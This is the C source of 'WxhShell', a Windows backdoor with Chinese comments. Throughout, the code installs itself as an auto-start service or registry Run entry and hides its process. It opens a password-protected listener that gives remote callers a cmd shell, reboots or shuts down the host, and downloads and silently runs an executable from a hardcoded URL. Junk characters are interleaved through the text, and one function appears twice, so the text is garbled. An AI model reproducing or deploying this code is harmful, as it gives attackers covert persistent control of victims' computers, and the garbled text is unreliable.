_t"[p_llo PROCESS_BASIC_INFORMATION pbi; Z # \:@7)(p\; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L_9uwua.B~ if(NULL == hInst ) return 0; ";`jS&"= ,_H H8[& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '/XP4B\(E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zgp9Uu}" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PA803R74 9i 9
,X^= if (!NtQueryInformationProcess) return 0; x6JV@wA& qLX<[UL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X0+E!~X$zM if(!hProcess) return 0;
wT19m *w.":\P] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ceJ#>Rj eD(5+bm
CloseHandle(hProcess); K"t? !oXFDC3k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #"c'eG0 if(hProcess==NULL) return 0; r?Mf3U^G $Bncdf HMODULE hMod; Z~h6^h char procName[255]; >WZbbd- unsigned long cbNeeded; +1yi{!j1 At<MY`ka if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6^J[SQ6P b==jlYa= CloseHandle(hProcess); W+u,[_ e0TxJ* if(strstr(procName,"services")) return 1; // 以服务启动 8<0P Ssx U!Zj%H1XQ0 return 0; // 注册表启动 T#!% Uzz } 9 4H')( 12L`Gi // 主模块 @8`I!fZ int StartWxhshell(LPSTR lpCmdLine) $ S3b<]B { zOMxg00 SOCKET wsl; q,#s m'S BOOL val=TRUE; ;*zLf 9i int port=0; (O(TFE5^ struct sockaddr_in door; QPLWRZu@ PN9vg9' if(wscfg.ws_autoins) Install(); >Q(\vl@N= 2brY\c
F port=atoi(lpCmdLine); 4P)#\$d: Sn'!Nq> if(port<=0) port=wscfg.ws_port; =$bF[3D }&7kT7ogO WSADATA data; j>\rs|^O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [~|k;\2 + PX^k; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %=2sz>M+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9?hF<}1XH} door.sin_family = AF_INET; ,KM%/;1Dm door.sin_addr.s_addr = inet_addr("127.0.0.1"); ns5Dydo{T door.sin_port = htons(port); `EMGrw_ O^./)#!# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Nvhp]E closesocket(wsl); $ eL-fg return 1; (t5y$bc } WdS1v% Ca?w"m~h if(listen(wsl,2) == INVALID_SOCKET) { Bx}"X?%S closesocket(wsl); +,R!el!o~u return 1; G6>sAOf } K\ B!tk Wxhshell(wsl); M^HYkXn[ WSACleanup(); Mi(6HMA.SF O\o@] return 0; Glw|*{$ $U7/w?gc' } =Oh$pZRymu ,-EN{ed // 以NT服务方式启动 tGl|/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AIQ
{^: { yr>J^Et%_ DWORD status = 0; ":/Vp,g DWORD specificError = 0xfffffff; [X@{xF^vBQ H@zv-{}T8 serviceStatus.dwServiceType = SERVICE_WIN32; zCA8}](C^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; xA:;wV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ph(LsPT- serviceStatus.dwWin32ExitCode = 0; bL0]Yuh serviceStatus.dwServiceSpecificExitCode = 0; 2w1Mf<IXPo serviceStatus.dwCheckPoint = 0; B3[X{n$px serviceStatus.dwWaitHint = 0; #<&@-D8 8,+T[S hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zSsBbu: if (hServiceStatusHandle==0) return; O3slYd&V kn3GgdU status = GetLastError(); mqJD+ K if (status!=NO_ERROR) +J| LfXgB { Qz{Vl>" serviceStatus.dwCurrentState = SERVICE_STOPPED;
O\yYCi( serviceStatus.dwCheckPoint = 0; L&NpC&>wD serviceStatus.dwWaitHint = 0; ]CS
N7Q+l serviceStatus.dwWin32ExitCode = status; MxGQM> serviceStatus.dwServiceSpecificExitCode = specificError; dE[X6$H[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $`0^E#Nl return; p.4Sgeh# } 0VR,I{<.{ |yOIC,5[JW serviceStatus.dwCurrentState = SERVICE_RUNNING; g0/R\ serviceStatus.dwCheckPoint = 0; ZZ!6O /M serviceStatus.dwWaitHint = 0; # vy[v22 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "AMw o(Yi } R"t2=3K #X!seQ7a // 处理NT服务事件,比如:启动、停止 066\zAPdH VOID WINAPI NTServiceHandler(DWORD fdwControl) 'S
v
V10$5 { 6,~
% switch(fdwControl) l_
x jsu { *E|3Vy{4 case SERVICE_CONTROL_STOP: 4T)`%Oo<} serviceStatus.dwWin32ExitCode = 0; 8h}1t4k serviceStatus.dwCurrentState = SERVICE_STOPPED; yswf2F serviceStatus.dwCheckPoint = 0; 98zJ?NaD& serviceStatus.dwWaitHint = 0; Gh{9nM_\" { \Z~@/OVc SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4.kn,s } Ix=(f0| return; a)+*Gf7? case SERVICE_CONTROL_PAUSE: vf?m6CMU! serviceStatus.dwCurrentState = SERVICE_PAUSED; !14v Ovj4{ break; vHPsHy7y case SERVICE_CONTROL_CONTINUE: $Zrc-tkV serviceStatus.dwCurrentState = SERVICE_RUNNING; 11A;z[Zk break; G-o6~"J\ case SERVICE_CONTROL_INTERROGATE: +H?
XqSC break; $9Xn.,W }; E%Ysyk SetServiceStatus(hServiceStatusHandle, &serviceStatus); yWH!v]S } 2'ws@U}lR [NGq$5 // 标准应用程序主函数 J6zU# int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { ux'9SA { +-hfl/$ x+Ly,9nc$ // 获取操作系统版本 _*t75e$- OsIsNt=GetOsVer(); gHWsKE
% GetModuleFileName(NULL,ExeFile,MAX_PATH); S*ie$}ZX H,!yG5yF // 从命令行安装 AY9#{c>X if(strpbrk(lpCmdLine,"iI")) Install(); ~Bt>Y VW] ,R1q // 下载执行文件 Ivq|-LDNc if(wscfg.ws_downexe) { 7u%OYt
D E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]e?L,1- WinExec(wscfg.ws_filenam,SW_HIDE); \&v)#w } /EZ - ~^g*cA
t} if(!OsIsNt) { |[/XG2S // 如果时win9x,隐藏进程并且设置为注册表启动 clT[?8* HideProc(); c#fSt}J>C StartWxhshell(lpCmdLine); D<^K7tJui } Ige*tOv2 else 17ynFHMd, if(StartFromService()) gYw=Z_z // 以服务方式启动 xwijCFI* StartServiceCtrlDispatcher(DispatchTable); q:,ck@-4 else 7C@m(oK // 普通方式启动 -wnBdL StartWxhshell(lpCmdLine); n*eqM2L P[P]oT.N
return 0; g`H;~ w } kl5Y{![/&f 6?l|MU"Q. B}d)e_uLj Vf$q3X =========================================== }Szs9-Wns |OBZSk1jp chU,));F 3TT?GgQ `n%8y I% !4+@b
s " ]7%+SH,RdD )m10IyUAY #include <stdio.h> t&(\A,ch% #include <string.h> Z+S1e~~ #include <windows.h> $"{I|UFC #include <winsock2.h> (0S;eM& #include <winsvc.h> [F^j(qTR #include <urlmon.h> &jF[f4:7 _I#a`G #pragma comment (lib, "Ws2_32.lib") ;-{'d8 #pragma comment (lib, "urlmon.lib") }H9V$~}@- +(o]E3 #define MAX_USER 100 // 最大客户端连接数 P<R'S #define BUF_SOCK 200 // sock buffer ap .L=vn #define KEY_BUFF 255 // 输入 buffer >L88` j:J7 #define REBOOT 0 // 重启
<Lfo5:. #define SHUTDOWN 1 // 关机 x`zE#sD d)v'K5 #define DEF_PORT 5000 // 监听端口 1(m[L=H5> -F';1D!l% #define REG_LEN 16 // 注册表键长度 :@sjOY #define SVC_LEN 80 // NT服务名长度 t;)`+K#1: N5@l[F7I // 从dll定义API :3 By7BZgj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N/eFwv.Er typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9':MD0P/M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qM0Df0$?x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Te&5IB- JReJlDu // wxhshell配置信息 6^hCW`jG struct WSCFG { 5?C) v}w+ int ws_port; // 监听端口 =sh]H$ char ws_passstr[REG_LEN]; // 口令 iKe68kx int ws_autoins; // 安装标记, 1=yes 0=no j<_)Y(x> char ws_regname[REG_LEN]; // 注册表键名 Om C
F8:\/ char ws_svcname[REG_LEN]; // 服务名 {t QZqqdn@ char ws_svcdisp[SVC_LEN]; // 服务显示名 'n4
iW char ws_svcdesc[SVC_LEN]; // 服务描述信息 cR/z; *wr7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5vqh09-FB int ws_downexe; // 下载执行标记, 1=yes 0=no {x/)S*:Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ">"B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J={IGA |s*tRag }; w]Z:Y` XXZ <r // default Wxhshell configuration Rkz[x struct WSCFG wscfg={DEF_PORT, ;\)N7SJ "xuhuanlingzhe", x"n)y1y 1, kJG0X%+w "Wxhshell", 7q|51rZz "Wxhshell", y?yWM8 "WxhShell Service", Wd/m]]W8Q "Wrsky Windows CmdShell Service", $VyH2+ jC "Please Input Your Password: ", ?D`h[ai 1, <B3$ODGJp "http://www.wrsky.com/wxhshell.exe", @6:J$B~)u "Wxhshell.exe" 29AWg(9?aS }; +'QE-#%{= =6LF_=} // 消息定义模块 = s$UU15 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )-_To&S* char *msg_ws_prompt="\n\r? for help\n\r#>"; 23~KzC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9a lMC char *msg_ws_ext="\n\rExit."; %:hU:+G E char *msg_ws_end="\n\rQuit."; J}3 7 9 char *msg_ws_boot="\n\rReboot..."; eIY![..J/N char *msg_ws_poff="\n\rShutdown..."; K"U[OZC` char *msg_ws_down="\n\rSave to "; :ZP`Y%dt' ;Alw`' char *msg_ws_err="\n\rErr!"; _vgFcE~E@ char *msg_ws_ok="\n\rOK!"; Or*e$uMIY z;d]=PT char ExeFile[MAX_PATH]; QvjOOc@k~n int nUser = 0; {m2lVzK HANDLE handles[MAX_USER]; La#otuw+? int OsIsNt; [[;vZ `'
"125T SERVICE_STATUS serviceStatus; l/F'W} SERVICE_STATUS_HANDLE hServiceStatusHandle; yCLDJ%8 8KhE`C9z // 函数声明 wEJ) h1=)^ int Install(void); {Mx3G*hr int Uninstall(void); 5<?s86GHh' int DownloadFile(char *sURL, SOCKET wsh); OD\F*Ry~ int Boot(int flag); &]mZp& void HideProc(void); ~Dz`O"X3 int GetOsVer(void); Q1?09 int Wxhshell(SOCKET wsl); <qpDAz4k void TalkWithClient(void *cs); g<&n V>wF int CmdShell(SOCKET sock); vsL)E:0 int StartFromService(void); \vQjTM-7 int StartWxhshell(LPSTR lpCmdLine); Fv(1A_~IS FJl_2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2IGoAt>V VOID WINAPI NTServiceHandler( DWORD fdwControl ); vOKWi:-U 7@*l2edXm+ // 数据结构和表定义 d} `Z| ex SERVICE_TABLE_ENTRY DispatchTable[] = JL1z8Nu { @CJ`T& {wscfg.ws_svcname, NTServiceMain}, VkChRzhC {NULL, NULL} FhkS"y }; h
&R1" cB ,l=/? // 自我安装 u6#=<FD/} int Install(void) 6bXR?0$*M. { 5i42o+' char svExeFile[MAX_PATH]; vL,:Yn@b HKEY key; 8:)W!tr strcpy(svExeFile,ExeFile); v3`k?jAaI r%^l~PN // 如果是win9x系统,修改注册表设为自启动 l9eCsVQ~V if(!OsIsNt) { iE;D_m.>`O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d}2$J1` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6|-V{ RegCloseKey(key); !iO%?nW; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <HC5YA)4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z&VH7gi RegCloseKey(key); XFiP8aX< return 0; UHh7x%$n } (WISf}[l; } #S*`7MvM } $k|:V&6SV else { N#Y|MfLc nbECEQ:|B // 如果是NT以上系统,安装为系统服务 LW$(;-rY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PqJB&:ZV if (schSCManager!=0) nH=8I~jp { 'Cv>V"X: ` SC_HANDLE schService = CreateService Q2L>P<87T ( 'wg>=|Q5 schSCManager, .a0]1IkatV wscfg.ws_svcname, +p
Y*BP+~i wscfg.ws_svcdisp, `v|w&ty* SERVICE_ALL_ACCESS, oieJ7\h]m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7%Q?BH7{ SERVICE_AUTO_START, +'lj\_n SERVICE_ERROR_NORMAL, Z?);^m|T svExeFile, KS3>c7 NULL, PXRkK63 NULL, =G9 9U/ NULL, L^{1dVGWNa NULL, 6`
8H k; NULL o^!_S5zKe. ); j^Vr!y if (schService!=0) 0eP ] { ?DwI>< W CloseServiceHandle(schService); `Nnaw+<] CloseServiceHandle(schSCManager); ]+
KN9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `+\6;nM strcat(svExeFile,wscfg.ws_svcname); BWWO=N
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vR)f'+_Nz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ILU7Yhk RegCloseKey(key); AVnH|31dC~ return 0; i0TbsoKh: } %2;Nj;
J$ } X>la!}sV CloseServiceHandle(schSCManager); bih%hqny } nZbINhls } yZ:AJNb '
a>YcOw return 1; =<;C5kSD } wwuM!Z+ JH|]B|3 // 自我卸载 sc0.!6^'V int Uninstall(void) _ g8CvH)?! { g!\H^d4 HKEY key; j&Trvw<t ixY[ HDPq if(!OsIsNt) { z8@[]6cW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j%`%
DQ RegDeleteValue(key,wscfg.ws_regname); {M^BY,%* RegCloseKey(key); l"rX'g? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TFAd
RegDeleteValue(key,wscfg.ws_regname); gJZH??b RegCloseKey(key); !\}X?Gf return 0; k6$Ft.0d1Z } H,3WdSL`K } `9*
|Y 8: } B6 yTD7 else { c<a)Yqf"] "OO)m](w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z}a9%Fb if (schSCManager!=0) U!\~LKfA { 0g`$Dap SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ntt*}|:QV< if (schService!=0) dJjkH6%} { Rz#q68 if(DeleteService(schService)!=0) { @Cml^v@`L CloseServiceHandle(schService); X5tx(}j CloseServiceHandle(schSCManager); |[Rlg`TQ;* return 0; kK|D&Xy` } ^)UX#D3b CloseServiceHandle(schService); 8CUlE-R5 } {[)n<.n[g CloseServiceHandle(schSCManager); 3c=>;g } n'@*RvI: } .Im=-#EN ;Rljx3!N return 1; 1{AK=H') } E1`TQA )*XD"-9 // 从指定url下载文件 ka_(8 int DownloadFile(char *sURL, SOCKET wsh) ifcp!l+8 { al" =ld( HRESULT hr; 7Fx0#cS"\ char seps[]= "/"; TI|h char *token; Ae[fW97 char *file; /Nkxb& char myURL[MAX_PATH]; 1,(WS
F char myFILE[MAX_PATH]; X;1yQ|su 7$*X
strcpy(myURL,sURL); T#<Q[h= token=strtok(myURL,seps); 61w
({F while(token!=NULL) <aLS4 { ?<` ;lu/eL file=token; .e5d#gE0 token=strtok(NULL,seps); UqD ]@s` } PthgxB^ nV`U{}x GetCurrentDirectory(MAX_PATH,myFILE); BwkY;Ur/AL strcat(myFILE, "\\"); guG&3{&\s strcat(myFILE, file); ?rjB9AC_;t send(wsh,myFILE,strlen(myFILE),0); Z9.0#Jnu send(wsh,"...",3,0); S1[, al hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^
L]e]<h( if(hr==S_OK) &f}w&k2yj return 0; 2M*i'K;;)P else !S%0#d2 return 1; 'b0r?A~c= l/,la]!T } jfiUf1Mj &)jq3 // 系统电源模块 OD9z7*E@ int Boot(int flag) tY>Zy1hlI { K iEmvC HANDLE hToken; wTD}c1J( TOKEN_PRIVILEGES tkp; ;{aGEOP'U @dUN3,} if(OsIsNt) { t.dr<
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IJ~j(.W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e=l:!E10 tkp.PrivilegeCount = 1; )o<^6Ic%7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ''(rC38 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 51`&%V{daL if(flag==REBOOT) { Jt[,V*:# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *`rfD* return 0; DR{O.TX } q-+:1E else {
3%bhW9H% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lg~C:BNF return 0; EK5$z>k>m } Gx8!AmeX } /y$ Fw9R; else { ]'"Sa<-> if(flag==REBOOT) { vJaWHC$q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x\U[5d return 0; 6Iqy"MQuq } <gFa@at else { tfN[-3)Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BvsSrse return 0; p0WUF\" } A[8m3L#k } ol*,&C:{ TIxOMY y return 1; ,f2oO?L} } [8a(4]4 Ny^f'tsA // win9x进程隐藏模块 FGx)? void HideProc(void) QM#Vl19>j( { GTM0Qvf? 4U\}"Mk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g{Al:}u> if ( hKernel != NULL ) D>[Sib/@ { [B#XA}w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !9WGZfK+0Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); **L&I5Hhm FreeLibrary(hKernel); |y[I!JdR } gDVsi 6{buel(|e return; fJ[ ^_,O }
C3{hf Ai1"UYk\\Y // 获取操作系统版本 Yr/$92( int GetOsVer(void) o6px1C: { o 2Nu@^+ OSVERSIONINFO winfo;
LNWS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )0-A;X2 GetVersionEx(&winfo); 9L:wfg}8s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pE&G]ZC return 1; Ku l<Q< else Tv DSs]) return 0; 7DJEx~"!2- } } +}nrJv @W>@6E // 客户端句柄模块 @01.Pd int Wxhshell(SOCKET wsl) .oyAi|| { VKDOM0{V SOCKET wsh; Gu*y7I8 struct sockaddr_in client; \{ @m DWORD myID; TQT3]h6 YWK0.F,8a while(nUser<MAX_USER) P+o"]/7U { f%,S::%Ea int nSize=sizeof(client); 4{YA[' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?.SGn[ if(wsh==INVALID_SOCKET) return 1; ks0Q+YW ,Q-,#C" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m"n74cxS if(handles[nUser]==0) TRGpE9i closesocket(wsh); ksv] else S&`6pN nUser++; |reA`&<q } ^YLC {V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u2oS Ci _u[tv, return 0; lg aSIXDK } YRlf U5 LL#REK|lm8 // 关闭 socket
`Eh>E, void CloseIt(SOCKET wsh) CM_hN>%w[ { ;d6Dm)/( closesocket(wsh); SUc%dpXZa nUser--; /*qRbN ExitThread(0); i<"lXu } ^/"}_bR =xo0T 6 // 客户端请求句柄 irAXXg void TalkWithClient(void *cs) Kyh>O)"G^% { |SkQe[t efXnF*Z SOCKET wsh=(SOCKET)cs; Me.I>7c char pwd[SVC_LEN]; _eKO:Y[e char cmd[KEY_BUFF]; l
r&7 qu char chr[1]; xsH1) int i,j; /}m)FaAi ;bE/(nz M while (nUser < MAX_USER) { |{ N{VK +Uq|Yh'Q if(wscfg.ws_passstr) { PQ4mNjXN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<@2_wSJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3(WijtH //ZeroMemory(pwd,KEY_BUFF); cqG6di7# i=0; J~2SGXH)^? while(i<SVC_LEN) { H>CbMz1u cU6*y!}9 // 设置超时 TF8#I28AD fd_set FdRead; w5%Yi{ struct timeval TimeOut; `WayR^ 9 FD_ZERO(&FdRead); 8gS7$ EH' FD_SET(wsh,&FdRead); h$02#(RHJ TimeOut.tv_sec=8; T?7u
[D[[ TimeOut.tv_usec=0; [~9UsHfH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8qyEHUN2q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |n26[=\B TDH^x1P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 17s~mqy pwd=chr[0]; &&&-P\3 if(chr[0]==0xd || chr[0]==0xa) { AQ'%}(#0 pwd=0; ]DNPG" break; X!]v4ma` } pl]|yIZ i++; HA,o2jZ?In } ,#)d 9+@h2"|N4* // 如果是非法用户,关闭 socket ~+Gh{,f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &r1(1< } 0>{ ]* *z~,|DQ(A send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3}|[<^$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{o)Ir8Tt kq}byv}3I while(1) { +M-tYE
5n ?AyxRbk ZeroMemory(cmd,KEY_BUFF); B\Nbt!Ps >.
K // 自动支持客户端 telnet标准 =~;~hZj j=0; 4#IT" i while(j<KEY_BUFF) { mUg :<.^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*OqUq/H`; cmd[j]=chr[0]; !6(3Y if(chr[0]==0xa || chr[0]==0xd) { pAy4%|( cmd[j]=0; '[#y| break; h3@tZL#g } h&'|^;FM j++; jqaX|)8|$ } gzs\C{4D a}yb~:TC // 下载文件 &>\;4E.O5 if(strstr(cmd,"http://")) { 5MnP6(3$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?06gu1z/ if(DownloadFile(cmd,wsh)) cACIy yQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hhknjx else ^2kjO/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x9 > ho } M@.l#
[@U else { /WnCAdDgZ {xZY4b2 switch(cmd[0]) { Ph=NH8 ps<Ef // 帮助 !,`'VQw$ case '?': { bLg!LZ|S0s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sBadiDG~9 break; __g?xw } 3'uXU<W! // 安装 Xe_ <]| case 'i': { !{-W%=Kf if(Install()) B=cA$620 send(wsh,msg_ws_err,strlen(msg_ws_err),0); MN<LZC%$ else '7'/+G'~& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i6#*y!3{ break; DSLX/uo1 } !P{ /;Q // 卸载 S(PV*e8 case 'r': { +Csb8 if(Uninstall()) -YQh
F;/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZD&F ,2v else NMkP#s7.y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6(QfD](2} break; LaJvPOQ } 9Kd=GL_ // 显示 wxhshell 所在路径 @(#vg\UH case 'p': { 0cmd +` char svExeFile[MAX_PATH]; U;bx^2<m strcpy(svExeFile,"\n\r"); nuq@m0t\# strcat(svExeFile,ExeFile); #mU\8M, send(wsh,svExeFile,strlen(svExeFile),0); T:Cq}4k< break; *)Pm } @K]`!=vUk // 重启 ,WE2.MWR case 'b': { v\w*VCjoV send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ajycYk9<m if(Boot(REBOOT)) HAH\#WE send(wsh,msg_ws_err,strlen(msg_ws_err),0); bhUE!h< else { r%;|gIky closesocket(wsh); 8U@f/P ExitThread(0); nq_$!aB_K } gOg7:VPG break; +k6`
tl~* } _`SDG5 // 关机 Sd6O?&( case 'd': { sO) H#G send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yq.@-]ytZ if(Boot(SHUTDOWN)) QuS=^,] send(wsh,msg_ws_err,strlen(msg_ws_err),0); T}!9T!(HdF else { _gVihu closesocket(wsh); 4Y?fbb< ExitThread(0); KOg,V_(I } d>Tv?'o`q break; !
#Pn_e } V~PGmn[V // 获取shell 5 51_;,t case 's': { uV gA <*0 CmdShell(wsh); B\
'rxbH closesocket(wsh); ,xU#uyB ExitThread(0); D<v<
: break; oJM;CN } 3\Amj}RJ // 退出 -$!r+4|q case 'x': { J-+mdA send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \:h7,[e CloseIt(wsh); 2+u+9 rW break; OR&pGoW } $/^Y(0 // 离开 6Zpa[,gm case 'q': { O=}w1] send(wsh,msg_ws_end,strlen(msg_ws_end),0); UZ/LR closesocket(wsh); +m
J G:n WSACleanup(); @|\;#$?XW3 exit(1); skeeec\V break; Q=!QCDO( } ExS&fUn`C } =0&XdxX } Sy?^+JdM/ e }O&_j- // 提示信息 )Fd)YJVR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZWGelZP~ } yVzV]&k } eAO@B lLVD`) return; .\H-?6R^ } 4qDa:D"5 /E/6(c // shell模块句柄 [W$x5|Z}Q int CmdShell(SOCKET sock) =l2 @'Y Q { 8Ud.t=2 STARTUPINFO si; B_#M)d
O ZeroMemory(&si,sizeof(si)); FXk*zXn6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KdiJ'K. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F+c8
O PROCESS_INFORMATION ProcessInfo; {uwPP2YD, char cmdline[]="cmd"; rG-x 3>b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gRs@T<k2 return 0; 3I'7+?@@l } 6k')12~' xNY&*jI // 自身启动模式 q8_E_s-U, int StartFromService(void) CZy!nR! { z__{6"^ typedef struct X$%[%q8qg { Fbotn(\h@ DWORD ExitStatus; e}gGl<((g DWORD PebBaseAddress; M G&vduu DWORD AffinityMask; fZs}u<3Q) DWORD BasePriority; c ~M'O26bW ULONG UniqueProcessId; n%2c<@p# ULONG InheritedFromUniqueProcessId; $XyDw|z[ } PROCESS_BASIC_INFORMATION; t`6~ud> @B)5Ho PROCNTQSIP NtQueryInformationProcess; U2Siw i @M^l`w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uf)!SxT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3DjX0Dx/l d<]eJ{ HANDLE hProcess; DBfq9%J _ PROCESS_BASIC_INFORMATION pbi; Nc EPPl0I ?S)Pv53>} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EwfL.z if(NULL == hInst ) return 0; ckdCd
J fsKZ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .4z_ohe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rs]Y/9F;{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %Q93n {? ,[| i^ if (!NtQueryInformationProcess) return 0; >U:.5Tch'V /jc;
2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [{F;4>g if(!hProcess) return 0; Re;[S[D7 ZB$,\|^6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; utdus:B#0 5'rP-z~
